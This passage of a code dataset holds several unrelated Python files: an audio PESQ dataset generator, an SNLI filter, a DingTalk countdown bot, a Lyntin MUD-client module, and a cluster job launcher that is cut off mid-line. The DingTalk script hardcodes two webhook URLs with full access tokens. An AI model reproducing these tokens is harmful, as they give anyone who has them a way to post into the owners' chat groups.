+{"seq_id":"26260790293","text":"import os\nimport h5py\nimport soundfile as sf\nfrom pesq_score import *\nimport time\nimport random\nimport numpy as np\nfrom scipy import signal\nfrom scipy.io import wavfile\nfrom scipy import interpolate\nimport librosa\nimport matplotlib.pyplot as plt\nfrom multiprocessing import Pool\n\n\ninput_hdf5 = '/home/ubuntu/super-res/data/train_vctk_patches.hdf5'\noutput_hdf5 = '/home/ubuntu/super-res/data/train_pesq_large_2.hdf5'\n\nnum_processes = 8\nnum_patches = 100\nnum_classes = 50\npesq_sr = 16000\nsampling_rates = [16000, 8000, 4000, 2000, 1000]\n\n\ndef score2index(score):\n    return round(score, 1) * (num_classes / 5)\n\n\ndef index2score(index):\n    return (i / (num_classes / 5))\n\n\ndef encode_score(score):\n    i = score2index(score)\n    z = np.zeros(num_classes)\n    if i != 0:\n        z[int(i)] = 1\n    return z # np.expand_dims(z, axis=0)\n\n\ndef decode_score(score):\n    i = np.where(score==1)[0]\n    return index2score(i)\n\n\ndef upsample(x_lr, r):\n    x_lr = x_lr.flatten()\n    x_hr_len = len(x_lr) * r\n    x_sp = np.zeros(x_hr_len)\n\n    i_lr = np.arange(x_hr_len, step=r)\n    i_hr = np.arange(x_hr_len)\n\n    f = interpolate.splrep(i_lr, x_lr)\n    x_sp = interpolate.splev(i_hr, f)\n\n    return x_sp\n\n\ndef resample(x, original_sr, new_sr, filename, noise):\n    r = original_sr // new_sr\n    resampled = x[::r].copy() # librosa.resample(x.copy(), original_sr, new_sr, res_type='kaiser_fast')\n    resampled = upsample(resampled, r)\n\n    # generate cracking noise thing\n    if noise:\n        r = np.random.rand(resampled.shape[0]) * 0.5\n        b = r < 0.001\n        r[~b] = 0\n        r[b] = np.random.rand(1) * 0.05\n        resampled += r\n    filename_out = os.path.join('temp', str(new_sr) + '_' + str(noise) + '_' + str(random.randint(0,10000000)) + '_' + filename)\n    sf.write(filename_out, resampled, pesq_sr, 'PCM_16')\n    return (filename_out, resampled)\n\n\n# get patches dataset into memory\ninput_hdf5_file = h5py.File(input_hdf5, 'r')\nhr_dataset = input_hdf5_file['hr']\nprint(hr_dataset.shape)\n\n\n# open output hdf5 file and prepare for resizing\noutput_hdf5_file = h5py.File(output_hdf5, 'w')\nx_dataset = output_hdf5_file.create_dataset(\"x\", (1, 1, 8192), maxshape=(None, 1, 8192), dtype=np.float32)\ny_dataset = output_hdf5_file.create_dataset(\"y\", (1,), maxshape=(None,), dtype=np.int32)\n\n\ndef generate(data):\n    scores = []\n    patches = []\n\n    indexes = list(range(len(data)))\n    random.shuffle(indexes)\n\n    for hi in indexes:\n\n        # grab a hr patch from the hdf5\n        x = data[hi, :]\n        hr_filename = '{:d}_hr.wav'.format(hi)\n\n        # store filenames in here of the downsampled and noisy (degraded) versions of this patch\n        degraded_x = []\n\n        # take the hr reference and downsample it to the following sr's, make one with noise and one without for each\n        for sr in sampling_rates:\n            degraded_x.append(resample(x, 16000, sr, hr_filename, False))\n            degraded_x.append(resample(x, 16000, sr, hr_filename, True))\n\n        # get the score of every degraded version\n        for i in range(len(degraded_x)):\n            try:\n                score = get_pesq(degraded_x[0][0], degraded_x[i][0])\n                scores.append(score2index(score))\n                patches.append(np.append(degraded_x[0][1], degraded_x[i][1]))\n            except Exception as e:\n                pass\n            finally:\n                if i > 0:\n                    os.remove(degraded_x[i][0])\n\n        os.remove(degraded_x[0][0])\n\n        return patches, scores\n\nn = num_patches\nni = 0\na = list(np.array(hr_dataset)[:n])\n\nwith Pool(num_processes) as p:\n    res = p.imap_unordered(generate, a)\n    for x in res:\n        if len(x[0]) > 1 and len(x[1]) > 1:\n            patches =  x[0]\n            scores = x[1]\n            patches = np.expand_dims(np.array(patches, dtype=np.float32), axis=1)\n            scores = np.array(scores, dtype=np.int32)\n            assert patches.shape[0] == scores.shape[0], \"patches and score size don't match!\"\n            x_dataset.resize(x_dataset.shape[0] - 1 + patches.shape[0], axis=0)\n            y_dataset.resize(y_dataset.shape[0] - 1 + scores.shape[0], axis=0)\n            ni += 1\n            print('{:.2f}%'.format(ni*100/n), x_dataset.shape, y_dataset.shape)\n            x_dataset[x_dataset.shape[0] - patches.shape[0] : x_dataset.shape[0], :, :] = patches\n            y_dataset[y_dataset.shape[0] - patches.shape[0] : y_dataset.shape[0]] = scores\n\nprint('\\ntest saved hdf5 file:', output_hdf5)\nh5_file = h5py.File(output_hdf5, 'r')\nx = h5_file['x']\ny = h5_file['y']\nprint(x.shape, y.shape)\n","repo_name":"unmeg/audio-classifier","sub_path":"data/generate_pesq_dataset.py","file_name":"generate_pesq_dataset.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20851173489","text":"#! /usr/bin/python3\nimport pandas as pd\n\n\ndef write_filtered_df(df, file):\n    filtered_df = df[df.gold_label != '-']\n    filtered_df = filtered_df[['sentence1', 'sentence2', 'gold_label']]\n    filtered_df.columns = ['premise', 'hypothesis', 'label']\n    filtered_df.to_csv('.data/snli-1.0-formatted-{}.csv'.format(file), header=True, index=False, sep='\\t')\n\n\ndef filter_data():\n    base_path = '.data/snli_1.0/{}'\n    train_file = base_path.format('snli_1.0_train.jsonl')\n    val_file = base_path.format('snli_1.0_dev.jsonl')\n    test_file = base_path.format('snli_1.0_test.jsonl')\n\n    train_df = pd.read_json(train_file, lines=True)\n    write_filtered_df(train_df, 'train')\n    val_df = pd.read_json(val_file, lines=True)\n    write_filtered_df(val_df, 'val')\n    test_df = pd.read_json(test_file, lines=True)\n    write_filtered_df(test_df, 'test')\n\n\nif __name__ == '__main__':\n    filter_data()\n","repo_name":"yukioichida/SNLI-analysis","sub_path":"filter_data.py","file_name":"filter_data.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38337499660","text":"#!/usr/bin/env python\n#coding=utf-8\n#set softtabstop=0\n\"\"\"\n\n官方文档\nhttps://open-doc.dingtalk.com/docs/doc.htm?spm=a219a.7629140.0.0.z5MWoh&treeId=257&articleId=105735&docType=1\n\n这个接口的消息格\n官方文档\nhttp公司就怎样规范。\n\"\"\"\n\nimport sys\nimport urllib.request\nimport urllib.parse\nimport requests #这个库需要非常小心\nimport json\nimport time\nimport datetime\nfrom mysql import MoonMysql#访问自己写的���\n\n\n#自定义机器人的封装类\nclass DtalkRobot(object):\n    \"\"\"docstring for DtRobot\"\"\"\n    webhook = \"\"\n    def __init__(self, webhook):\n        super(DtalkRobot, self).__init__()\n        self.webhook = webhook\n\n    #text类型\n    def sendText(self, msg, isAtAll=False, atMobiles=[]):\n        data = {\"msgtype\":\"text\",\"text\":{\"content\":msg},\"at\":{\"atMobiles\":atMobiles,\"isAtAll\":isAtAll}}\n        return self.post(data)\n\n\n\n    #markdown类型\n    def sendMarkdown(self, title, text):\n        data = {\"msgtype\":\"markdown\",\"markdown\":{\"title\":title,\"text\":text}}\n        return self.post(data)\n\n    #link类型\n    def sendLink(self, title, text, messageUrl, picUrl=\"\"):\n        data = {\"msgtype\": \"link\",\"link\": {\"text\": text, \"title\":title,\"picUrl\": picUrl,\"messageUrl\": messageUrl}}\n        return self.post(data)\n\n    #ActionCard类型\n    def sendActionCard(self, actionCard):\n        data = actionCard.getData()\n        return self.post(data)\n\n    #FeedCard类型\n    def sendFeedCard(self, links):\n        data = {\"feedCard\":{\"links\":links},\"msgtype\":\"feedCard\"}\n        return self.post(data)\n\n\n\n    def post(self, data):#这个问题坑了笔者一天，从网页上的python2.0的教程再到自己写的python3.0的教程\n        print(data)\n        headers = {\n            'Content-Type':'application/json;charset=utf-8'\n        }\n        post_data = json.dumps(data)\n        res = requests.post(self.webhook, data=post_data, headers=headers)\n\n        return res.text\n\n\n\n#ActionCard类型消息结构\nclass ActionCard(object):\n    \"\"\"docstring for ActionCard\"\"\"\n    title = \"\"\n    text = \"\"\n    singleTitle = \"\"\n    singleURL = \"\"\n    btnOrientation = 0\n    hideAvatar = 0\n    btns = []\n\n    def __init__(self, arg=\"\"):\n        super(ActionCard, self).__init__()\n        self.arg = arg\n\n    def putBtn(self, title, actionURL):\n        self.btns.append({\"title\":title,\"actionURL\":actionURL})\n\n    def getData(self):\n        data = {\"actionCard\":{\"title\":self.title,\"text\":self.text,\"hideAvatar\":self.hideAvatar,\"btnOrientation\":self.btnOrientation,\"singleTitle\":self.singleTitle,\"singleURL\":self.singleURL,\"btns\":self.btns},\"msgtype\":\"actionCard\"}\n        return data\n        \n#FeedCard类型消息格式\nclass FeedLink(object):\n    \"\"\"docstring for FeedLink\"\"\"\n    title = \"\"\n    picUrl = \"\"\n    messageUrl = \"\"\n\n    def __init__(self, arg=\"\"):\n        super(FeedLink, self).__init__()\n        self.arg = arg\n        \n    def getData(self):\n        data = {\"title\":self.title,\"picURL\":self.picUrl,\"messageURL\":self.messageUrl}\n        return data\n        \n\n        \nclass the_time_send(object):\n\n    def time_send(webhook):\n        robot = DtalkRobot(webhook)\n        #以下为计算倒计时时间\n        #get the now time \n        now = datetime.datetime.now()\n        app_get_time=MoonMysql#调用Ｍysql数据库对象到　app_get_time\n\n\n\n        #恩智浦智能车竞赛倒计时\n        results=app_get_time.get_time('nxp')\n        results_dict=results[0]\n        #print(results_dict['START_TIME'])\n        start_day = results_dict['START_TIME']\n        #nxp_endday=datetime.datetime.strptime('2018-7-15 00:00:00', '%Y-%m-%d %H:%M:%S')\n        nxp_endday=results_dict['END_TIME']\n        nxp_left=nxp_endday-now\n        after_day=now-start_day\n        nxp_send_msg=\"加油哦～  2018年恩智浦智能车备赛第%s天，还剩%s天--lab120小助手\" % (after_day.days, nxp_left.days)\n        #print(nxp_send_msg)\n\n        app_get_time.update_left_time(TIME_TYPE = 'PASSING',TASK = 'nxp',TIME_DATA = after_day.days)\n        app_get_time.update_left_time(TIME_TYPE = 'REMAIN',TASK = 'nxp',TIME_DATA = nxp_left.days)\n\n\n\n\n\n\n\n        #计算机应用能力大赛倒计时\n        results=app_get_time.get_time(TASK='computer_competition')#从数据库中获取数据　TASK值为’computer_competition‘的一列数据\n        results_dict=results[0]#获取字典类型的数据\n        #computer_competition_endday=datetime.datetime.strptime('2018-3-25 00:00:00', '%Y-%m-%d %H:%M:%S')\n        start_day = results_dict['START_TIME']\n        computer_competition_endday=results_dict['END_TIME']\n        computer_competition_left=computer_competition_endday-now\n        after_day=now-start_day\n        com_send_msg=\"加油哦～  上海市计算机应用能力竞赛备赛第%s天，还剩%s天--lab120小助手\" % (after_day.days, computer_competition_left.days)\n\n\n        app_get_time.update_left_time(TIME_TYPE = 'PASSING',TASK = 'computer_competition',TIME_DATA = after_day.days)\n        app_get_time.update_left_time(TIME_TYPE = 'REMAIN',TASK = 'computer_competition',TIME_DATA = computer_competition_left.days)\n\n\n\n        if webhook=='https://oapi.dingtalk.com/robot/send?access_token=94d1da532a09862ee37789652168202b008aa352c6f109f8d5bf97225141969a':\n            send_msg = nxp_send_msg\n            robot.sendLink(\"倒计时���屏\", send_msg, \"http://lab120.bigscreen.moonstarwisdow.com/\",\"http://scimg.jb51.net/allimg/160716/103-160G61012361X.jpg\")\n\n\n        if webhook=='https://oapi.dingtalk.com/robot/send?access_token=25a7ead4dbc3e3ea4ece0e7879a22626a39c0cf00acf281965574340695618a4':\n            send_msg = com_send_msg\n            robot.sendLink(\"倒计时大屏\", send_msg, \"http://lab120.bigscreen.moonstarwisdow.com/\",\"http://scimg.jb51.net/allimg/160716/103-160G61012361X.jpg\")\n\n        #以下为发送\n\n        #print(robot.sendText(send_msg))\n        #print robot_lab120.sendText(nxp_send_msg)\n\n\n\n\n\n\n\n#测试\nwebhook = \"https://oapi.dingtalk.com/robot/send?access_token=25a7ead4dbc3e3ea4ece0e7879a22626a39c0cf00acf281965574340695618a4\"\nwebhook_lab120=\"https://oapi.dingtalk.com/robot/send?access_token=94d1da532a09862ee37789652168202b008aa352c6f109f8d5bf97225141969a\"\n#robot=DtalkRobot(webhook)\n#robot.sendLink(\"link类型\", \"link类型内容link类型内容link类型内容link类型内容link类型内容link类型内容link类型内容\", \"http://www.baidu.com\",\"http://scimg.jb51.net/allimg/160716/103-160G61012361X.jpg\")\n#robot.sendMarkdown(\"markdown类型\", \"## 标题2 \\n##### 标题3 \\n* 第一 \\n* 第二 \\n\\n[链接](http://www.baidu.com/) \\n\")\n\n\nif __name__ == \"__main__\":\n    robot_update = the_time_send #用于更新bigscreen的更新\n    \n    \n\n\n\n    robot = the_time_send #用于定时的钉钉发送\n    robot.time_send(webhook)\n\n    flag_time=1\n    last=0\n    while True:\n\n        #robot_update.time_send('one')#用于bigscreen的更新\n        now = datetime.datetime.now()\n        time.sleep(1)\n\n\n        send_Time = datetime.datetime(now.year, now.month, now.day, 19, 0, 0)\n\n        if (last!=now.day):\n            flag_time=1\n            last=now.day\n\n        #print('Program not starting yet...')\n        if (datetime.datetime.now() > send_Time)and(flag_time==1):\n            time.sleep(1)\n            print('Program now starts on %s' % send_Time)\n            print('Executing...')\n            flag_time=0\n            robot.time_send(webhook)\n            robot.time_send(webhook_lab120)\n\n        \n            \n            \n            \n\n\n\n    \n    \n'''\n\n    print robot.sendLink(\"link类型\", \"link类型内容link类型内容link类型内容link类型内容link类型内容link类型内容link类型内容\", \"http://www.baidu.com\",\"http://scimg.jb51.net/allimg/160716/103-160G61012361X.jpg\")\n    print robot.sendMarkdown(\"markdown类型\", \"## 标题2 \\n##### 标题3 \\n* 第一 \\n* 第二 \\n\\n[链接](http://www.baidu.com/) \\n\")\n\n    ########\n    link1 = FeedLink()\n    link1.title = \"tittle\"\n    link1.picUrl = \"https://avatars0.g8ithubusercontent.com/u/3347358?v=3&u=318d72d3ec999cfe4c7f37765c9c1f92df79ab1c&s=400\"\n    link1.messageUrl = \"https://github8.com/magician000\"\n    link2 = FeedLink()\n    link2.title = \"tittle2\"\n    link2.picUrl = \"https://avatars0.githu8buserconten8t.com/u/18586086?v=3&u=e6187b04ba02e3861ad4acccc5a1f1f5d46d40a0&s=400\"\n    link2.messageUrl = \"https://www8.github.com/\"\n    feeds = [link1.getData(), link2.getData()]\n    \n    print robot.sendFeedCard(feeds)\n\n    #ActionCard类型，两种跳转规则的设置见官方文档\n    #整体跳转ActionCard类型\n    ac = ActionCard();\n    ac.title = \"整体跳转ActionC8ard类型\"\n    ac.text = \"#### 整体跳转ActionCard类型 \\n\\n![TTTT](https://avatars0.g8ithubuse6rcontent.com/u/3347358?v=3&u=318d72d3ec999cfe4c7f37765c9c1f92df79ab1c&s=400) \\n>整体\\n跳转\\nActionCard类型\\n\"\n    ac.singleTitle = \"查看全文\"\n    ac.singleURL = \"https://github.com/8magi6cian000\"\n    print robot.sendActionCard(ac)\n    ########\n    #独立跳转ActionCard类型\n    ac = ActionCard();\n    ac.title = \"独立跳8转ActionCard类型\"\n    ac.text = \"#### 独立跳转Acti8onCard类型 \\n\\n![TTTT](https://avatars0.githubuserc6onte8nt.com/u/18586086?v=3&u=e6187b04ba02e3861ad4acccc5a1f1f5d46d40a0&s=400) \\n>独立\\n跳转\\nActionCard类型\\n\"\n    ac.btnOrientation = 1\n    ac.putBtn(\"github\", \"https://github.8co8m/magic6ian000\")\n    ac.putBtn(\"脑洞8空间\", \"https://git8hub.com/mi6nd-boggling\")\n    ac.singleTitle = \"\"\n    ac.singleURL = \"\"\n    print robot.sendActionCard(ac)\n\n'''","repo_name":"strawgarette/smartweb","sub_path":"weibo/ding_talk_send.py","file_name":"ding_talk_send.py","file_ext":"py","file_size_in_byte":9468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23652305455","text":"from lyntin import ansi, manager, utils, exported\nfrom lyntin.modules import modutils\n\nclass SubstituteData:\n  def __init__(self):\n    self._substitutes = {}\n    self._antisubs = []\n\n  def addSubstitute(self, item, substitute):\n    \"\"\"\n    Adds a substitute to the dict.\n\n    @param item: the item to substitute\n    @type  item: string\n\n    @param substitute: the thing to substitute in place of \"item\"\n    @type  substitute: string\n    \"\"\"\n    self._substitutes[item] = substitute \n\n  def addAntiSubstitute(self, item):\n    \"\"\" Adds an antisubstitute.\"\"\"\n    self._antisubs.append(item)\n\n  def clear(self):\n    \"\"\"\n    Removes all the substitutes.\n    \"\"\"\n    self._substitutes.clear()\n    self._antisubs = []\n\n  def removeSubstitutes(self, text):\n    \"\"\"\n    Removes substitutes from the list.\n\n    Returns a list of tuples of substitute item/substitute that\n    were removed.\n\n    @param text: substitutes matching text will be removed\n    @type  text: string\n\n    @returns: list of (item, substitute) tuples of removed substitutes\n    @rtype: list of (string, string)\n    \"\"\"\n    badsubstitutes = utils.expand_text(text, self._substitutes.keys())\n\n    ret = []\n    for mem in badsubstitutes:\n      ret.append((mem, self._substitutes[mem]))\n      del self._substitutes[mem]\n\n    return ret\n\n  def removeAntiSubstitutes(self, text):\n    \"\"\"\n    Removes antisubstitutes from the list.\n\n    @returns: a list of antisubstitutes that were removed.\n    @rtype: list of strings\n    \"\"\"\n    badsubs = utils.expand_text(text, self._antisubs)\n\n    ret = []\n    for mem in badsubs:\n      ret.append(mem)\n      self._antisubs.remove(mem)\n\n    return ret\n\n  def getSubstitutes(self):\n    \"\"\"\n    Returns the keys of the substitute dict.\n\n    @returns: list of all the substitute items\n    @rtype: list of strings\n    \"\"\"\n    listing = self._substitutes.keys()\n    listing.sort()\n    return listing\n\n  def getAntiSubstitutes(self):\n    \"\"\"\n    Returns the list of antisubs that we have.\n\n    @returns: list of all antisubs\n    @rtype: list of strings\n    \"\"\"\n    return self._antisubs\n\n  def expand(self, text):\n    \"\"\"\n    Looks at mud data and performs any substitutes.\n\n    It returns the final text--even if there were no substitutes.\n\n    @param text: the text to expand substitutes in\n    @type  text: string\n\n    @return: the (un)adjusted text\n    @rtype: string\n    \"\"\"\n    # FIXME -- this isn't done correctly.\n    if len(text) > 0:\n      # check for antisubs first\n      for mem in self._antisubs:\n        if text.find(mem) != -1:\n          return text\n\n      # check for subs\n      for mem in self._substitutes.keys():\n        text = text.replace(mem, self._substitutes[mem])\n\n    return text \n\n  def getInfo(self, text=''):\n    \"\"\"\n    Returns information about the substitutes in here.\n\n    This is used by #substitute to tell all the substitutes involved\n    as well as #write which takes this information and dumps\n    it to the file.\n\n    @param text: the text used to figure out which substitutes to provide\n        information on\n    @type  text: string\n\n    @return: list of strings where each string represents a substitute\n    @rtype: list of strings\n    \"\"\"\n    listing = self._substitutes.keys()\n    if text:\n      listing = utils.expand_text(text, listing)\n\n    listing = [\"substitute {%s} {%s}\" % (mem, utils.escape(self._substitutes[mem])) for mem in listing]\n\n    return listing\n\n  def getSubstituteInfoMapping(self):\n    l = []\n    for mem in self._substitutes.keys():\n      l.append( { \"item\": mem,\n                  \"substitution\": utils.escape(self._substitutes[mem]) } )\n    return l\n\n  def getAntiSubstitutesInfo(self, text):\n    \"\"\"\n    Returns information about the antisubstitutes in here.\n\n    This is used by #antisubstitute to tell all the antisubstitutes involved\n    as well as #write which takes this information and dumps it to the file.\n\n    @param text: the text used to figure out which antisubstitutes to provide\n        information on\n    @type  text: string\n\n    @return: list of strings where each string represents an antisubstitute\n    @rtype: list of strings\n    \"\"\"\n    listing = self._antisubs\n    if text:\n      listing = utils.expand_text(text, listing)\n\n    listing = [\"antisubstitute {%s}\" % mem for mem in listing]\n\n    return listing\n\n  def getAntiSubstituteInfoMapping(self):\n    l = []\n    for mem in self._antisubs:\n      l.append( {\"item\": mem } )\n    return l\n\n  def getStatus(self):\n    \"\"\"\n    Returns a one liner of number of substitutes we're managing.\n\n    @returns: string describing how many substitutes we're managing\n    @rtype: string\n    \"\"\"\n    subs = len(self._substitutes.keys())\n    antisubs = len(self._antisubs)\n\n    return \"%d substitute(s).  %d antisub(s).\" % (subs, antisubs)\n\n\nclass SubstituteManager(manager.Manager):\n  def __init__(self):\n    self._subs = {}\n\n  def addSubstitute(self, ses, item, sub):\n    if not self._subs.has_key(ses):\n      self._subs[ses] = SubstituteData()\n    self._subs[ses].addSubstitute(item, sub)\n\n  def addAntiSubstitute(self, ses, item):\n    if not self._subs.has_key(ses):\n      self._subs[ses] = SubstituteData()\n    self._subs[ses].addAntiSubstitute(item)\n\n  def clear(self, ses):\n    if self._subs.has_key(ses):\n      self._subs[ses].clear()\n\n  def removeSubstitutes(self, ses, text):\n    if self._subs.has_key(ses):\n      return self._subs[ses].removeSubstitutes(text)\n    return []\n\n  def removeAntiSubstitutes(self, ses, text):\n    if self._subs.has_key(ses):\n      return self._subs[ses].removeAntiSubstitutes(text)\n    return []\n\n  def getSubstitutes(self, ses):\n    if self._subs.has_key(ses):\n      return self._subs[ses].getSubstitutes()\n    return []\n\n  def getInfo(self, ses, text=''):\n    if self._subs.has_key(ses):\n      return self._subs[ses].getInfo(text)\n    return []\n\n  def getItems(self):\n    return [ \"substitute\", \"antisubstitute\" ]\n\n  def getParameters(self, item):\n    if item == \"substitute\":\n      return [ (\"item\", \"The thing to substitute.\"),\n               (\"substitution\", \"The thing to substitute with.\") ]\n\n    if item == \"antisubstitute\":\n      return [ ( \"item\", \"The thing whose presence denotes we shouldn't substitute.\" ) ]\n\n    raise ValueError(\"%s is not a valid item for this manager.\" % item)\n\n  def getInfoMappings(self, item, ses):\n    if item not in [\"substitute\", \"antisubstitute\"]:\n      raise ValueError(\"%s is not a valid item for this manager.\" % item)\n    \n    if not self._subs.has_key(ses):\n      return []\n\n    if item == \"substitute\":\n      return self._subs[ses].getSubstituteInfoMapping()\n\n    return self._subs[ses].getAntiSubstituteInfoMapping()\n\n  def getAntiSubstitutesInfo(self, ses, text=''):\n    if self._subs.has_key(ses):\n      return self._subs[ses].getAntiSubstitutesInfo(text)\n    return []\n\n  def getStatus(self, ses):\n    if self._subs.has_key(ses):\n      return self._subs[ses].getStatus()\n    return \"0 substitute(s). 0 antisub(s).\"\n\n  def addSession(self, newsession, basesession=None):\n    if basesession:\n      if self._subs.has_key(basesession):\n        sdata = self._subs[basesession]\n        for mem in sdata._substitutes.keys():\n          self.addSubstitute(newsession, mem, sdata._substitutes[mem])\n\n  def removeSession(self, ses):\n    if self._subs.has_key(ses):\n      del self._subs[ses]\n\n  def expand(self, ses, text):\n    if self._subs.has_key(ses):\n      return self._subs[ses].expand(text)\n    return text\n\n  def persist(self, args):\n    \"\"\"\n    write_hook function for persisting the state of our session.\n    \"\"\"\n    ses = args[\"session\"]\n    quiet = args[\"quiet\"]\n\n    data = self.getInfo(ses) + self.getAntiSubstitutesInfo(ses)\n    if not quiet:\n      data = [m + \" quiet={true}\" for m in data]\n\n    return data\n\n  def mudfilter(self, args):\n    \"\"\"\n    mud_filter_hook function to perform substitutions on data \n    that comes from the mud.\n    \"\"\"\n    ses = args[\"session\"]\n    text = args[\"dataadj\"]\n\n    if exported.get_config(\"ignoresubs\", ses, 0) == 0:\n      text = self.expand(ses, text)\n    return text\n\n\ncommands_dict = {}\n\ndef substitute_cmd(ses, args, input):\n  \"\"\"\n  With no arguments, prints all substitutes.\n  With one argument, prints all substitutes which match the argument.\n  Otherwise creates a substitution.\n\n  Braces are advised around both 'item' and 'substitution'.\n\n  category: commands\n  \"\"\"\n  item = args[\"item\"]\n  substitution = args[\"substitution\"]\n  quiet = args[\"quiet\"]\n\n  sm = exported.get_manager(\"substitute\")\n\n  if not substitution:\n    data = sm.getInfo(ses, item)\n    if not data:\n      data = [\"substitute: no substitutes defined.\"]\n\n    exported.write_message(\"substitutes:\\n\" + \"\\n\".join(data), ses)\n    return \n\n  sm.addSubstitute(ses, item, substitution)\n  if not quiet:\n    exported.write_message(\"substitute: {%s} {%s} added.\" % (item, substitution), ses)\n\ncommands_dict[\"substitute\"] = (substitute_cmd, \"item= substitution= quiet:boolean=false\")\n\ndef unsubstitute_cmd(ses, args, input):\n  \"\"\"\n  Allows you to remove substitutes.\n\n  category: commands\n  \"\"\"\n  func = exported.get_manager(\"substitute\").removeSubstitutes\n  modutils.unsomething_helper(args, func, ses, \"substitute\", \"substitutes\")\n\ncommands_dict[\"unsubstitute\"] = (unsubstitute_cmd, \"str= quiet:boolean=false\")\n\ndef antisubstitute_cmd(ses, args, input):\n  \"\"\"\n  Allows you to create antisubstitutes.\n\n  For any line that contains an antisubstitute, we won't do substitutions\n  on it.\n\n  category: commands\n  \"\"\"\n  item = args[\"item\"]\n  quiet = args[\"quiet\"]\n\n  sm = exported.get_manager(\"substitute\")\n\n  if not item:\n    data = sm.getAntiSubstitutesInfo(ses)\n    if not data:\n      data = [\"antisubstitute: no antisubstitutes defined.\"]\n\n    exported.write_message(\"antisubstitutes:\\n\" + \"\\n\".join(data), ses)\n    return\n\n  sm.addAntiSubstitute(ses, item)\n  if not quiet:\n    exported.write_message(\"antisubstitute: {%s} added.\" % item, ses)\n\ncommands_dict[\"antisubstitute\"] = (antisubstitute_cmd, \"item= quiet:boolean=false\")\n\ndef unantisubstitute_cmd(ses, args, input):\n  \"\"\"\n  Allows you to remove antisubstitutes.\n\n  category: commands\n  \"\"\"\n  func = exported.get_manager(\"substitute\").removeAntiSubstitutes\n  modutils.unsomething_helper(args, func, ses, \"antisubstitute\", \"antisubstitutes\")\n\ncommands_dict[\"unantisubstitute\"] = (unantisubstitute_cmd, \"str= quiet:boolean=false\")\n\nsm = None\n\ndef load():\n  \"\"\" Initializes the module by binding all the commands.\"\"\"\n  global sm\n  modutils.load_commands(commands_dict)\n  sm = SubstituteManager()\n  exported.add_manager(\"substitute\", sm)\n\n  exported.hook_register(\"mud_filter_hook\", sm.mudfilter, 50)\n  exported.hook_register(\"write_hook\", sm.persist)\n\n  from lyntin import config\n  for mem in exported.get_active_sessions():\n    tc = config.BoolConfig(\"ignoresubs\", 0, 1,\n         \"Allows you to turn on and turn off substitutions.\")\n    exported.add_config(\"ignoresubs\", tc, mem)\n\n\ndef unload():\n  \"\"\" Unloads the module by calling any unload/unbind functions.\"\"\"\n  global sm\n  modutils.unload_commands(commands_dict.keys())\n  exported.remove_manager(\"substitute\")\n\n  exported.hook_unregister(\"mud_filter_hook\", sm.mudfilter)\n  exported.hook_unregister(\"write_hook\", sm.persist)\n\n  # remove configuration items for every session involved\n  for mem in exported.get_active_sessions():\n    exported.remove_config(\"ignoresubs\", mem)\n\n# Local variables:\n# mode:python\n# py-indent-offset:2\n# tab-width:2\n# End:\n","repo_name":"sochotnicky/lyntin","sub_path":"lyntin/modules/substitute.py","file_name":"substitute.py","file_ext":"py","file_size_in_byte":11368,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"9179131587","text":"def summary_ranges(astring):\r\n    alist = astring.split(\",\")\r\n    lower_bound = int(alist[0])\r\n    mem = lower_bound\r\n    res_list = []\r\n    count = 1\r\n    \r\n    for item in alist[1:]:\r\n        count += 1\r\n        if int(item) != mem + 1:    # item not the same as the last one + 1? \r\n            result = str(lower_bound) + \"->\" + str(mem)\r\n            if lower_bound == mem:  # cheking if bounds are the same\r\n                result = str(lower_bound)\r\n            res_list.append(result) #saving into alist\r\n            lower_bound = int(item)\r\n            mem = int(item)\r\n        else:\r\n            mem = int(item)\r\n    return res_list\r\n        \r\nprint(summary_ranges(\"1,3,4,6,7,9,10\"))          ","repo_name":"ivSaav/Programming-Fundamentals","sub_path":"FPRO - Play/summary_ranges.py","file_name":"summary_ranges.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36967210879","text":"#!/usr/bin/python3\n'''\nThis file is the parent process run in the head node, it spawns\nthe compute jobs for different parameter combinations and gets the\nfinal result back\n\nAuthors:\n\nAbhay Mittal: abhaymittal@cs.umass.edu\nAbhiram Eswaran: aeswaran@cs.umass.edu\nRyan Mckenna: rmckenna@cs.umass.edu\n\n'''\n\nimport logging as log\nimport os\nimport numpy as np\nimport subprocess\nfrom shutil import copyfile\nimport argparse\nimport constants\nimport utils\nimport time\nimport json\nfrom sampling import ImportanceSampler as isam\nimport scoring\nimport pickle as p\n\n\ndef parse_args():\n    '''\n    Method to parse command line arguments\n    '''\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--exp_dir', type=str, default='exp/')\n    args = parser.parse_args()\n    return args\n\n\ndef initiate_jobs(args, samples, param_names):\n    '''\n    Method to setup the directories for the different parameter combinations\n    and initiate qsub jobs for each of them\n\n    Args:\n    args: A dictionary containing the parsed command line arguments\n    samples: The parameter samples on which to run the jobs\n\n    Returns:\n    ----\n    exp_dirs: A dictionary where each parameter combination tuple is key\n    and the directory path for that combination is the value\n    \n    job_ids: A dictionary where each parameter combination tuple is key\n    and the Sun Grid Engine job id is the value \n    '''\n    exp_dir = os.getcwd() + '/' + args.exp_dir\n    try:\n        os.mkdir(exp_dir)\n    except Exception:\n        pass\n    exp_dirs = dict()\n    job_ids = dict()\n\n    for sample in samples:\n        param_dict = dict()\n        for i in range(0, len(sample)):\n            param_dict[param_names[i]] = sample[i]\n        key = str(sample)  # key must be immutable and string for parsing output later\n        job_name = ['run'] + [str(s) for s in sample]\n        job_name = '_'.join(job_name)\n        directory = exp_dir + job_name + '/'\n        exp_dirs[key] = directory\n        try:\n            os.mkdir(directory)\n        except Exception as e:\n            log.error(e)\n        copyfile(constants.BOOTSTRAP_DIR + 'restartin', directory +\n                 'restartin')  # file is big, can we make symlink instead?\n        copyfile(constants.BOOTSTRAP_DIR + 'comicegrid.h',\n                 directory + 'comicegrid.h')\n        copyfile(constants.BOOTSTRAP_DIR + 'crhmelfilein',\n                 directory + 'crhmelfilein')\n        generate_make_file(directory + 'makeiceclif', param_dict)\n\n        # submit the job in the Sun Grid Engine\n        command = \"qsub -wd \" + directory \\\n                  + \" 